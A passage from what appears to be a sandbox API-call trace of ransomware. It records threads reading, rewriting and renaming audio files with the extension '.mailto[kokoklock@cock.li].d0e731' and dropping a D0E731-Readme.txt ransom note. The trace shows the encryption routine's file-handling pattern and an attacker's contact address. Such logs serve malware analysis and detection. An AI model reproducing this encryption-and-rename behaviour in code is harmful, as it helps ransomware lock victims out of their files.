nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x144bf9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x144bf9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x144bf9d4*, lpNumberOfBytesWritten=0x144bf9bc*=0x4, lpOverlapped=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x144bf9bc*=0x4, lpOverlapped=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x144bf9bc*=0x6c, lpOverlapped=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x144bf9bc*=0x20, lpOverlapped=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x144bf9bc*=0x4, lpOverlapped=0x0) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0071.904] CloseHandle (hObject=0x7bc) returned 1 [0071.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33c8f68 [0071.904] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" [0071.904] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" [0071.904] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.904] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.904] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3", dwFileAttributes=0x20) returned 0 [0071.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.905] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0071.905] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0071.905] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0xffffffff [0071.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.906] WriteFile (in: hFile=0x7bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x144bf9b8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x144bf9b8*=0x481, lpOverlapped=0x0) returned 1 [0071.907] CloseHandle (hObject=0x7bc) returned 1 [0071.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e180) returned 1 [0071.907] RtlExitUserThread (Status=0x1) Thread: id = 495 os_tid = 0x1380 [0071.908] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav")) returned 0x20 [0071.908] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav", dwFileAttributes=0x20) returned 1 [0071.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.909] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x1453fb1c | out: lpFileSize=0x1453fb1c*=75099) returned 1 [0071.909] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x12557, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.909] ReadFile (in: hFile=0x7bc, lpBuffer=0x1453faf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x1453faf0*, lpNumberOfBytesRead=0x1453faec*=0x4, lpOverlapped=0x0) returned 1 [0071.909] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.909] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0071.909] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0071.909] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e960 [0071.909] NtQuerySystemTime (in: CurrentTime=0x1453fac8 | out: CurrentTime=0x1453fac8*=132121176298066430) returned 0x0 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x6fc6315d [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xc9587ea8 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x5ee29a40 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xf7f3e624 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x98a5a987 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xa41e9e7a [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x2ffcffd [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x9b563fbd [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x37798d67 [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x9ad8ff1c [0071.909] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x2f172a1b [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xa4d575ef [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x6f83d9ac [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x17133673 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x9fc36a4 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xddd2add0 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x715d118f [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x14e267ab [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xed840854 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xb0c36d29 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xbd59abdd [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xf3163dae [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xf8462312 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x659066e2 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xcbd9921 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xc754e120 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x3a1ba929 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x788af722 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xcbe04db3 [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x375a3f1c [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0xb9800ffc [0071.910] RtlRandom (in: Seed=0x1453fad4 | out: Seed=0x1453fad4) returned 0x10c7be9a [0071.921] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.921] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1453faa0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1453faa0*=0x4096, lpOverlapped=0x0) returned 1 [0071.921] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0071.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0071.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0071.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0071.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0071.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0071.922] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1453faa0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1453faa0*=0x4096, lpOverlapped=0x0) returned 1 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.922] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x1255b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.922] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1453fad8, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1453fad8*=0x20, lpOverlapped=0x0) returned 1 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0071.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.922] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x1453faec*=0x8, lpOverlapped=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x7bc, lpBuffer=0x1453fb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x1453fb04*, lpNumberOfBytesWritten=0x1453faec*=0x4, lpOverlapped=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1453faec*=0x4, lpOverlapped=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1453faec*=0x6c, lpOverlapped=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x1453faec*=0x20, lpOverlapped=0x0) returned 1 [0071.923] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1453faec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1453faec*=0x4, lpOverlapped=0x0) returned 1 [0071.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0071.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0071.923] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0071.923] CloseHandle (hObject=0x7bc) returned 1 [0071.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bca0 [0071.923] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" [0071.923] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" [0071.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.924] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.924] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav", dwFileAttributes=0x20) returned 0 [0071.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.924] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0071.924] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0071.924] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0071.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d30) returned 1 [0071.925] RtlExitUserThread (Status=0x1) Thread: id = 496 os_tid = 0x1384 [0071.926] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav")) returned 0x20 [0071.926] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav", dwFileAttributes=0x20) returned 1 [0071.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.926] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x145bfef8 | out: lpFileSize=0x145bfef8*=49602) returned 1 [0071.926] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0xc1be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.926] ReadFile (in: hFile=0x7bc, lpBuffer=0x145bfecc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x145bfecc*, lpNumberOfBytesRead=0x145bfec8*=0x4, lpOverlapped=0x0) returned 1 [0071.926] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0071.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0071.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e988 [0071.926] NtQuerySystemTime (in: CurrentTime=0x145bfea4 | out: CurrentTime=0x145bfea4*=132121176298223166) returned 0x0 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x93d8dff3 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x45b4ef86 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x73527266 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x3afe6c2c [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xd14c2287 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xe539cbb6 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x13d41073 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xfc16e9ff [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x92b090ec [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x7cdfb650 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x70cdc2ed [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x449e9f96 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xb41e085 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x19f98844 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x4bfad12c [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x97578920 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x3e956e5c [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x16614e08 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x833f4692 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x21b6b56d [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x1f903753 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x97b41f62 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x6e4b0a37 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xd18cd1fb [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xa2dbea38 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xa3ab2051 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xc42bfe7a [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xf9afb381 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x88b08009 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x268a4ca9 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0xf4820db3 [0071.927] RtlRandom (in: Seed=0x145bfeb0 | out: Seed=0x145bfeb0) returned 0x7fe82140 [0071.938] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.938] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x145bfe7c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x145bfe7c*=0x4096, lpOverlapped=0x0) returned 1 [0071.939] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0071.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0071.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0071.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0071.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0071.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0071.939] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x145bfe7c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x145bfe7c*=0x4096, lpOverlapped=0x0) returned 1 [0071.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.940] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0xc1c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x145bfeb4, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x145bfeb4*=0x20, lpOverlapped=0x0) returned 1 [0071.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0071.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x145bfec8*=0x8, lpOverlapped=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x145bfee0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x145bfee0*, lpNumberOfBytesWritten=0x145bfec8*=0x4, lpOverlapped=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x145bfec8*=0x4, lpOverlapped=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x145bfec8*=0x6c, lpOverlapped=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x145bfec8*=0x20, lpOverlapped=0x0) returned 1 [0071.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x145bfec8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x145bfec8*=0x4, lpOverlapped=0x0) returned 1 [0071.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) 